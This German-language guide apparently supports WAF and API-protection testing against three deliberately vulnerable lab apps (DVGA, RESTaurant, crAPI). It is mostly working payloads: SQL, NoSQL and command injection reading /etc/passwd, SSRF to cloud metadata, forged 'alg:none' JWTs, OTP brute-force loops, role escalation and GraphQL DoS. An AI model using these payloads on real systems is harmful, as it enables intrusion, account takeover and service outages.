Zum Inhalt springen

API-Testleitfaden

Dieser Leitfaden katalogisiert alle API-Endpunkte, absichtlich eingebauten Schwachstellen und Angriffs-Payloads der drei API-Sicherheitstestanwendungen. Verwenden Sie ihn, um Datenverkehrsgenerierungsmuster für die Entwicklung von F5 XC API-Schutzprofilen zu erstellen.

AnwendungProtokollPfadPortAuthSchwachstellen
DVGAGraphQL/dvga/80Keine (admin: admin/password)25 Szenarien
RESTaurantREST (FastAPI)/restaurant/80JWT (formular-codiert)7 OWASP API 2023-Kategorien
crAPIREST (Microservices)/8888JWT (Bearer)18+ Herausforderungen
Terminal-Fenster
ORIGIN="http://<ORIGIN_IP>"
CRAPI="http://<ORIGIN_IP>:8888"

GraphQL-Endpunkt: POST ${ORIGIN}/dvga/graphql GraphiQL IDE: GET ${ORIGIN}/dvga/ Admin-Zugangsdaten: admin / password

Alle DVGA-Interaktionen verwenden einen einzelnen Endpunkt (/dvga/graphql) mit POST-Anfragen, die JSON-Payloads {"query":"..."} enthalten.

Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnostics
Mutations: createPaste, importPaste, uploadPaste
Types: PasteObject (id, title, content, public, owner, ipAddr, userAgent)
OwnerObject (id, username, pastes) ← zirkuläre Referenz
OperationTypAuthZweck
pastes(public, filter, limit)QueryNeinPastes auflisten (SQL-Injection über filter)
paste(id)QueryNeinEinzelnes Paste abrufen
me(token)QueryNeinBenutzer per JWT abrufen (anfällig für Fälschung)
systemHealthQueryNeinSystemzustandsprüfung
systemUpdateQueryNeinLangsame Abfrage (~82 s, DoS-Vektor)
systemDiagnostics(cmd)Queryadmin/passwordWhitelisted OS-Befehle ausführen
createPaste(title, content, public)MutationNeinPaste erstellen (XSS über content)
importPaste(host, port, path, scheme)MutationNeinExternes Paste importieren (SSRF, Command Injection)
uploadPaste(filename, content)MutationNeinPaste hochladen (Pfadüberschreitung)

Batch-Query-Angriff:

Terminal-Fenster
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'

Tiefe Rekursion (zirkuläre Owner/Paste-Referenzen):

Terminal-Fenster
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'

Ressourcenintensive Abfrage (~82 Sekunden Antwortzeit):

Terminal-Fenster
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemUpdate}"}'

Feldduplizierung (Feld 500+ Mal wiederholen):

Terminal-Fenster
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'

Alias-basierter Angriff (1000 aliasierte Operationen):

Terminal-Fenster
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'

Introspektion (vollständige Schema-Enumeration):

Terminal-Fenster
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'

Feldvorschläge (Tippfehler enthüllt gültige Felder):

Terminal-Fenster
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes{titl}}"}'

SSRF über importPaste (interne Dienste sondieren):

Terminal-Fenster
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'

SQL-Injection über den filter-Parameter:

Terminal-Fenster
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'

Gespeichertes XSS über createPaste:

Terminal-Fenster
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'

Log-Injection (Operationsname-Spoofing):

Terminal-Fenster
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'

OS-Command-Injection über importPaste:

Terminal-Fenster
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'

OS-Befehl über systemDiagnostics (erfordert Admin-Auth):

Terminal-Fenster
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'

JWT-Token-Fälschung (akzeptiert unsignierte Token):

Terminal-Fenster
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'

Beliebiges Schreiben von Dateien über uploadPaste (Pfadüberschreitung):

Terminal-Fenster
curl -X POST ${ORIGIN}/dvga/graphql \
-H "Content-Type: application/json" \
-d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'

Swagger UI: ${ORIGIN}/restaurant/docs OpenAPI-Spezifikation: ${ORIGIN}/restaurant/openapi.json Auth: JWT über formular-codiertes POST an /restaurant/token Rollen: Customer (Standard), Employee, Chef (Admin)

Terminal-Fenster
# Testbenutzer registrieren
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# JWT-Token abrufen (HINWEIS: formular-codiert, nicht JSON)
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Bearer token: ${TOKEN}"
EndpunktMethodeAuthRolleSchwachstelle
/restaurant/registerPOSTNeinBenutzererstellung
/restaurant/tokenPOSTNeinJWT mit schwachem Geheimnis (97952)
/restaurant/healthcheckGETNeinSystemzustandsprüfung
/restaurant/profileGETJaBeliebigBenutzerprofil
/restaurant/profilePUTJaBeliebigBOLA (andere Benutzer ändern)
/restaurant/profilePATCHJaBeliebigBOPLA (Massenzuweisung von Rolle)
/restaurant/users/update_rolePUTJaBeliebigBFLA (Rollenerweiterung)
/restaurant/menuGETJaBeliebigMenüpunkte auflisten
/restaurant/menuPUTJaEmployee+Menü erstellen (SSRF über Bild)
/restaurant/menu/{item_id}PUTJaEmployee+Menü aktualisieren (SSRF über Bild)
/restaurant/menu/{item_id}DELETEJaBeliebigBFLA (jeder Benutzer kann löschen)
/restaurant/ordersGETJaBeliebigBOLA (alle Bestellungen einsehen)
/restaurant/ordersPOSTJaBeliebigBestellung erstellen
/restaurant/orders/{order_id}GETJaBeliebigBOLA (fremde Bestellungen abrufen)
/restaurant/orders/status/{order_id}GETJaBeliebigBestellstatus
/restaurant/admin/stats/diskGETJaChefCommand Injection
/restaurant/reset-passwordPOSTNeinPasswort-Zurücksetzen-Anfrage
/restaurant/reset-password/new-passwordPOSTNeinNeues Passwort festlegen
/restaurant/referral-codeGETJaBeliebigEmpfehlungscode abrufen
/restaurant/apply-referralPOSTJaBeliebigEmpfehlung anwenden
/restaurant/discount-couponsGETJaBeliebigGutscheine auflisten

API1:2023 — Broken Object Level Authorization (BOLA)

Abschnitt betitelt „API1:2023 — Broken Object Level Authorization (BOLA)“

Profil eines anderen Benutzers ändern:

Terminal-Fenster
curl -X PUT ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'

Bestellungen anderer Benutzer abrufen (Offset enumerieren):

Terminal-Fenster
for i in 1 2 3 4 5; do
curl -sf ${ORIGIN}/restaurant/orders/${i} \
-H "Authorization: Bearer ${TOKEN}" 2>&1
echo ""
done

JWT schwaches Geheimnis per Brute-Force (Geheimnis ist 6-stellig: 97952):

Terminal-Fenster
# Token unter jwt.io dekodieren und fälschen
# Geheimnis: 97952 (per Brute-Force mit hashcat -a 3 -m 16500 token '?d?d?d?d?d?d' ermittelbar)
# Chef-Token fälschen:
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"sub":"chef","exp":9999999999}
# Mit Geheimnis signieren: 97952

API3:2023 — Broken Object Property Level Authorization (BOPLA)

Abschnitt betitelt „API3:2023 — Broken Object Property Level Authorization (BOPLA)“

Massenzuweisung der Rolle von Customer zu Chef:

Terminal-Fenster
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

Eskalationspfad: Customer → Employee → Chef:

Terminal-Fenster
# Schritt 1: Zu Employee eskalieren
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Employee"}'
# Schritt 2: Zu Chef eskalieren
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'

API5:2023 — Broken Function Level Authorization (BFLA)

Abschnitt betitelt „API5:2023 — Broken Function Level Authorization (BFLA)“

Menüpunkt als Customer löschen (sollte Employee+ erfordern):

Terminal-Fenster
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \
-H "Authorization: Bearer ${TOKEN}"

Rolle eines anderen Benutzers ändern:

Terminal-Fenster
curl -X PUT ${ORIGIN}/restaurant/users/update_role \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"username":"chef","role":"Customer"}'

Interne Endpunkte über Menü-image_url sondieren (erfordert Employee-Rolle):

Terminal-Fenster
# Zunächst per BOPLA zu Employee eskalieren, dann:
curl -X PUT ${ORIGIN}/restaurant/menu \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'

OS-Command-Injection über Disk-Statistiken (erfordert Chef-Rolle):

Terminal-Fenster
# Nach Eskalation zu Chef:
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \
-H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \
-H "Authorization: Bearer ${TOKEN}"
Terminal-Fenster
# 1. Registrieren
curl -X POST ${ORIGIN}/restaurant/register \
-H "Content-Type: application/json" \
-d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. Token abrufen
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. Zu Chef eskalieren (BOPLA)
curl -X PATCH ${ORIGIN}/restaurant/profile \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role":"Chef"}'
# 4. Erneut authentifizieren, um Chef-Level-Token zu erhalten
TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \
-d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. Command Injection (RCE)
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \
-H "Authorization: Bearer ${TOKEN}"

Web-UI: ${CRAPI}/ MailHog: ${CRAPI}/mailhog/ (E-Mail-Erfassung zur Verifizierung) Auth: JWT Bearer-Token (RS256, anfällig für Algorithmus-Verwechslung) Architektur: 7 Microservices (identity, community, workshop, postgres, mongo, mailhog, web)

Einrichtung: Registrieren, E-Mail verifizieren, Anmelden

Abschnitt betitelt „Einrichtung: Registrieren, E-Mail verifizieren, Anmelden“
Terminal-Fenster
# 1. Registrieren
curl -X POST ${CRAPI}/identity/api/auth/signup \
-H "Content-Type: application/json" \
-d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. MailHog auf Verifizierungs-E-Mail prüfen
# Im Browser ${CRAPI}/mailhog/ öffnen oder MailHog-API verwenden:
curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "
import sys,json
msgs = json.load(sys.stdin)['items']
for m in msgs:
print(f\"To: {m['Raw']['To'][0]}, Subject: {m['Content']['Headers']['Subject'][0]}\")
"
# 3. Anmelden und JWT-Token abrufen
TOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Bearer token: ${TOKEN}"
EndpunktMethodeAuthSchwachstelle
/identity/api/auth/signupPOSTNeinRegistrierung
/identity/api/auth/loginPOSTNeinJWT-Token (Algorithmus-Verwechslung)
/identity/api/auth/forget-passwordPOSTNeinOTP anfordern
/identity/api/auth/v2/check-otpPOSTNeinKein Rate-Limit (Brute-Force 4-stelliger OTP)
/identity/api/auth/v3/check-otpPOSTNeinVersion mit Rate-Limit
/identity/api/v2/user/dashboardGETJaBenutzerprofil
/identity/api/v2/user/change-emailPUTJaE-Mail ändern
/identity/api/v2/vehicle/vehiclesGETJaFahrzeuge auflisten (UUIDs werden preisgegeben)
/identity/api/v2/vehicle/{uuid}/locationGETJaBOLA (Fahrzeug eines beliebigen Benutzers)
/identity/api/v2/user/videosPOSTJaVideo hochladen
/identity/api/v2/user/videos/{id}GETJaDatenoffenlegung (conversion_params)
/identity/api/v2/user/videos/{id}PUTJaMassenzuweisung (Command Injection)
/identity/api/v2/admin/videos/{id}DELETEJaBFLA (keine Admin-Prüfung)
EndpunktMethodeAuthSchwachstelle
/community/api/v2/community/postsGETJaDatenoffenlegung (gibt vehicle_id, E-Mail preis)
/community/api/v2/community/postsPOSTJaBlogbeitrag erstellen
/community/api/v2/community/posts/{id}/commentsPOSTJaKommentar hinzufügen
/community/api/v2/coupon/validate-couponPOSTJaNoSQL-Injection
EndpunktMethodeAuthSchwachstelle
/workshop/api/mechanicGETJaDatenoffenlegung (Mechaniker-E-Mails)
/workshop/api/mechanic/mechanic_reportGETNeinBOLA (keine Auth, sequenzielle IDs)
/workshop/api/merchant/contact_mechanicPOSTJaSSRF + DoS
/workshop/api/shop/productsGETJaProduktkatalog
/workshop/api/shop/orders/POSTJaBestellung erstellen
/workshop/api/shop/orders/allGETJaBestellungen auflisten
/workshop/api/shop/orders/{id}GETNeinBOLA (keine Auth erforderlich)
/workshop/api/shop/orders/{id}PUTJaMassenzuweisung (Status, Menge)
/workshop/api/shop/apply_couponPOSTJaSQL-Injection

Herausforderung 1 — BOLA: Fahrzeugstandort eines anderen Benutzers abrufen

Abschnitt betitelt „Herausforderung 1 — BOLA: Fahrzeugstandort eines anderen Benutzers abrufen“
Terminal-Fenster
# Zunächst eigene Fahrzeug-UUID abrufen
curl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \
-H "Authorization: Bearer ${TOKEN}"
# Fahrzeug eines anderen Benutzers abrufen (UUID ersetzen)
curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \
-H "Authorization: Bearer ${TOKEN}"

Herausforderung 2 — BOLA: Mechanikerberichte abrufen (ohne Auth)

Abschnitt betitelt „Herausforderung 2 — BOLA: Mechanikerberichte abrufen (ohne Auth)“
Terminal-Fenster
# Enumeration sequenzieller IDs — kein Token erforderlich
for i in 1 2 3 4 5; do
echo "Bericht $i:"
curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}"
echo ""
done

Herausforderung 3 — Broken Auth: OTP für Passwort-Zurücksetzen per Brute-Force

Abschnitt betitelt „Herausforderung 3 — Broken Auth: OTP für Passwort-Zurücksetzen per Brute-Force“
Terminal-Fenster
# OTP für Opfer anfordern
curl -X POST ${CRAPI}/identity/api/auth/forget-password \
-H "Content-Type: application/json" \
-d '{"email":"victim@example.com"}'
# 4-stelligen OTP per Brute-Force ermitteln (v2 hat KEIN Rate-Limit)
for otp in $(seq -w 0000 9999); do
RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \
-H "Content-Type: application/json" \
-d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1)
echo "$otp: $RESULT" | grep -v "Invalid OTP" && break
done

Herausforderung 4 — Datenoffenlegung: Mechaniker-E-Mails auslesen

Abschnitt betitelt „Herausforderung 4 — Datenoffenlegung: Mechaniker-E-Mails auslesen“
Terminal-Fenster
curl -sf ${CRAPI}/workshop/api/mechanic \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool

Herausforderung 5 — Datenoffenlegung: Interne Videokonvertierungsparameter

Abschnitt betitelt „Herausforderung 5 — Datenoffenlegung: Interne Videokonvertierungsparameter“
Terminal-Fenster
# Video hochladen, dann Antwort untersuchen
curl -sf ${CRAPI}/identity/api/v2/user/videos \
-H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool
# Feld conversion_params in der Antwort suchen

Herausforderung 6 — DoS: Layer 7 über Mechaniker-Kontaktanfrage

Abschnitt betitelt „Herausforderung 6 — DoS: Layer 7 über Mechaniker-Kontaktanfrage“
Terminal-Fenster
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"Engine issue",
"vin":"VEHICLE_VIN",
"mechanic_api":"http://localhost:8080/api",
"repeat_request_if_failed":true,
"number_of_repeats":100
}'

Herausforderung 7 — BFLA: Video über Admin-Endpunkt löschen

Abschnitt betitelt „Herausforderung 7 — BFLA: Video über Admin-Endpunkt löschen“
Terminal-Fenster
# Regulärer Benutzer kann auf Admin-Endpunkt zugreifen
curl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \
-H "Authorization: Bearer ${TOKEN}"

Herausforderungen 8 & 9 — Massenzuweisung: Kostenlose Artikel durch Bestellmanipulation

Abschnitt betitelt „Herausforderungen 8 & 9 — Massenzuweisung: Kostenlose Artikel durch Bestellmanipulation“
Terminal-Fenster
# GET zu PUT ändern, Status und Menge modifizieren
curl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"status":"returned","quantity":100}'

Herausforderung 10 — Command Injection über Videokonvertierungsparameter

Abschnitt betitelt „Herausforderung 10 — Command Injection über Videokonvertierungsparameter“
Terminal-Fenster
curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'

Herausforderung 11 — SSRF über Mechaniker-Kontaktanfrage

Abschnitt betitelt „Herausforderung 11 — SSRF über Mechaniker-Kontaktanfrage“
Terminal-Fenster
curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"mechanic_code":"MECH001",
"problem_details":"test",
"vin":"VIN123",
"mechanic_api":"http://169.254.169.254/latest/meta-data/",
"repeat_request_if_failed":false,
"number_of_repeats":0
}'

Herausforderung 12 — NoSQL-Injection: Gutscheincodes extrahieren

Abschnitt betitelt „Herausforderung 12 — NoSQL-Injection: Gutscheincodes extrahieren“
Terminal-Fenster
curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"coupon_code":{"$ne":1}}'

Herausforderung 13 — SQL-Injection: Gutscheine mehrfach einlösen

Abschnitt betitelt „Herausforderung 13 — SQL-Injection: Gutscheine mehrfach einlösen“
Terminal-Fenster
curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"

Herausforderung 14 — Nicht authentifizierter Bestellzugriff

Abschnitt betitelt „Herausforderung 14 — Nicht authentifizierter Bestellzugriff“
Terminal-Fenster
# Kein Authorization-Header — gibt dennoch Daten zurück
for i in 1 2 3 4 5; do
curl -sf ${CRAPI}/workshop/api/shop/orders/${i}
echo ""
done

Herausforderung 15 — JWT-Algorithmus-Verwechslung

Abschnitt betitelt „Herausforderung 15 — JWT-Algorithmus-Verwechslung“
Terminal-Fenster
# JWT mit Algorithmus "none" fälschen (keine Signaturprüfung):
# 1. Header setzen: {"alg":"none","typ":"JWT"} und Base64url-codieren
# 2. Payload setzen: {"email":"admin@example.com","role":"admin"} und Base64url-codieren
# 3. Mit Punkten verbinden, Signatur leer lassen: <header>.<payload>.
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \
-H "Authorization: Bearer ${FORGED}"

OWASP-KategorieDVGARESTaurantcrAPI
API1: BOLAPUT /profile, GET /orders/{id}Fahrzeugstandort, Mechanikerberichte, Bestellungen
API2: Broken AuthJWT-Fälschung (me-Query)JWT schwaches Geheimnis (97952)OTP-Brute-Force (v2), JWT-Algorithmus-Verwechslung
API3: BOPLAPATCH /profile (Rollenerweiterung)Video conversion_params, Offenlegung von Mechaniker-E-Mails
API4: RessourcenverbrauchBatch-, Rekursions-, Alias-, Feldduplizierungs-DoSBenutzerenumeration über Antwortlängecontact_mechanic repeat_request DoS
API5: BFLADELETE /menu, PUT /users/update_roleDELETE /admin/videos als regulärer Benutzer
API6: MassenzuweisungPUT /orders (Status, Menge)Bestellstatus/-menge, Video conversion_params
API7: SSRFimportPaste-MutationPUT /menu image_urlcontact_mechanic mechanic_api-URL
API8: InjectionSQL (filter), XSS (content), OS-Befehl (importPaste, systemDiagnostics)OS-Befehl (/admin/stats/disk?parameters=)NoSQL (validate-coupon), SQL (apply_coupon)
API9: Veraltete AssetsVeraltetes /auth/v2/check-otp (kein Rate-Limit)
API10: Unsichere Nutzung(indirekt über SSRF)
GraphQL-spezifischIntrospektion, Batching, Rekursion, Aliase, Feldduplizierung, zirkuläre Fragmente

Generieren Sie legitimen Datenverkehr, um das normale API-Verhalten festzustellen, bevor Sie Angriffsmuster testen.

DVGA-Basislinie:

Terminal-Fenster
# Normale Abfragen
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'
curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'

RESTaurant-Basislinie:

Terminal-Fenster
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"
curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"
curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'

crAPI-Basislinie:

Terminal-Fenster
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"
curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"

Phase 2: Angriffsdatenverkehr nach OWASP-Kategorie

Abschnitt betitelt „Phase 2: Angriffsdatenverkehr nach OWASP-Kategorie“

BOLA-Tests: Sequenzielle IDs enumerieren, Benutzeridentifikatoren in Anfragen austauschen, auf Ressourcen ohne Eigentümerschaft zugreifen.

Injection-Tests: SQL-Payloads in Filter-/Gutschein-Parametern, GraphQL-Query-Injection, OS-Command-Injection über Parameterfelder.

Auth-Bypass-Tests: JWT-Token fälschen, OTPs per Brute-Force ermitteln, veraltete API-Versionen verwenden, Algorithmus-Verwechslung.

SSRF-Tests: Interne URLs in den Parametern importPaste, image_url und mechanic_api.

DoS-Tests: GraphQL-Batch-/Rekursions-/Alias-Angriffe, repeat_request_if_failed mit hohen Wiederholungszahlen.

Einige Angriffe erfordern mehrstufige Sequenzen mit Zustand:

  1. RESTaurant-Eskalationskette: Registrieren → Token → PATCH-Rolle zu Chef → Erneut authentifizieren → Command Injection
  2. crAPI-Vollablauf: Registrieren → E-Mail verifizieren (MailHog) → Anmelden → Fahrzeug hinzufügen → Mechaniker kontaktieren (SSRF) → Bestellmanipulation
  3. DVGA Recon-to-Exploit: Introspektion → systemDiagnostics entdecken → Admin-Zugangsdaten per Brute-Force → OS-Befehlsausführung
MusterAnfragen/Sek.DauerHinweise
Basislinie (pro Anwendung)10–505 Min.Normales Datenverkehrs-Fingerprint erstellen
BOLA-Enumeration100–5002 Min.Sequenzielle ID-Suche
OTP-Brute-Force1000+Bis gefundenMaximal 10.000 Versuche (4-stellig)
GraphQL DoS10–5030 Sek.Jede Anfrage ist serverseitig aufwendig
Injection-Fuzzing50–2005 Min.Payloads pro Anfrage variieren
SSRF-Sondierung5–202 Min.Langsam; jede Anfrage löst serverseitige HTTP-Anfrage aus